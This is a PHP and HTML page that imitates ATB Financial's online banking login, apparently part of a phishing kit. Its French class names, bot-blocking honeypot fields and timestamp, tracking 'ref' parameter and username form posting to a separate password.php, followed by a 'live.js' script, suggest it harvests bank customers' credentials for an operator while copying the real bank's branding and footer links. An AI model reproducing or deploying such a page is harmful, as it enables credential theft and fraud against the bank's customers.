<?php
declare(strict_types=1);
ob_start();
define('DIR', __DIR__);
$ref = substr(preg_replace('/[^A-Za-z0-9_-]/', '', (string)($_GET['ref'] ?? '')), 0, 40);
header('Cache-Control: no-store');
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="initial-scale=1.0">
<meta name="robots" content="noindex,nofollow">
<title>Login</title>
<link rel="stylesheet" href="head.css">
</head>
<body>
<div class="carte">
<?php readfile(DIR . '/barre.html'); ?>

<div class="corps">
  <form id="form" action="password.php" method="POST" autocomplete="off" novalidate>
    <input type="hidden" name="ref" value="<?= htmlspecialchars($ref, ENT_QUOTES) ?>">
    <div class="hp" aria-hidden="true">
      <label for="hp">Postal code</label>
      <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
      <input type="hidden" id="t" name="t" value="">
      <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
    </div>

    <label class="champ" for="username">Username</label>
    <div class="input-outer">
      <div class="input-container" id="enveloppe">
        <input id="username" type="text" name="u" placeholder="Enter your username" autocorrect="off" autocapitalize="off" autocomplete="username" required>
        <img src="img/atb-cancel.svg" alt="Clear Username" id="effacer" class="icone bouton cache">
        <img src="img/atb-fido2-icon.svg" alt="Login with your Passkey" class="icone">
      </div>
      <div id="err" class="inline-err">Enter a valid username.</div>
    </div>

    <label class="memo" for="memo">
      <input id="memo" type="checkbox" name="memo" value="1">
      <span class="boite"></span>
      Remember username
    </label>

    <button type="submit" class="btn">Continue</button>
    <div class="sec"><a href="#">Forgot username</a></div>
  </form>
</div>

<div class="pied">
  <div class="liens">
    <a href="https://www.atb.com/" target="_blank" rel="noopener">atb.com</a><span class="sep">|</span><a href="https://www.atb.com/resources/contact-us/" target="_blank" rel="noopener">Contact us</a><span class="sep">|</span><a href="https://www.atb.com/company/privacy-and-security/online-guarantee" target="_blank" rel="noopener">Terms</a><span class="sep">|</span><a href="https://www.atb.com/company/privacy-and-security/" target="_blank" rel="noopener">Security tips</a>
  </div>
  <div class="legal">&copy; ATB Financial 2026. All rights reserved.<br>Authorized access only. Usage may be monitored.</div>
</div>
</div>

<script>
(function(){
  var u = document.getElementById('username'), env = document.getElementById('enveloppe'),
      err = document.getElementById('err'), clr = document.getElementById('effacer');
  document.getElementById('t').value = Date.now();
  u.focus();
  u.addEventListener('input', function(){
    clr.classList.toggle('cache', this.value.length === 0);
    env.classList.remove('err'); err.classList.remove('on');
  });
  clr.addEventListener('click', function(){ u.value=''; clr.classList.add('cache'); env.classList.remove('err'); err.classList.remove('on'); u.focus(); });
  document.getElementById('form').addEventListener('submit', function(ev){
    if (!u.value.trim()) { ev.preventDefault(); env.classList.add('err'); err.classList.add('on'); u.focus(); }
  });
})();
</script>
<script src="live.js"></script>
</body>
</html>
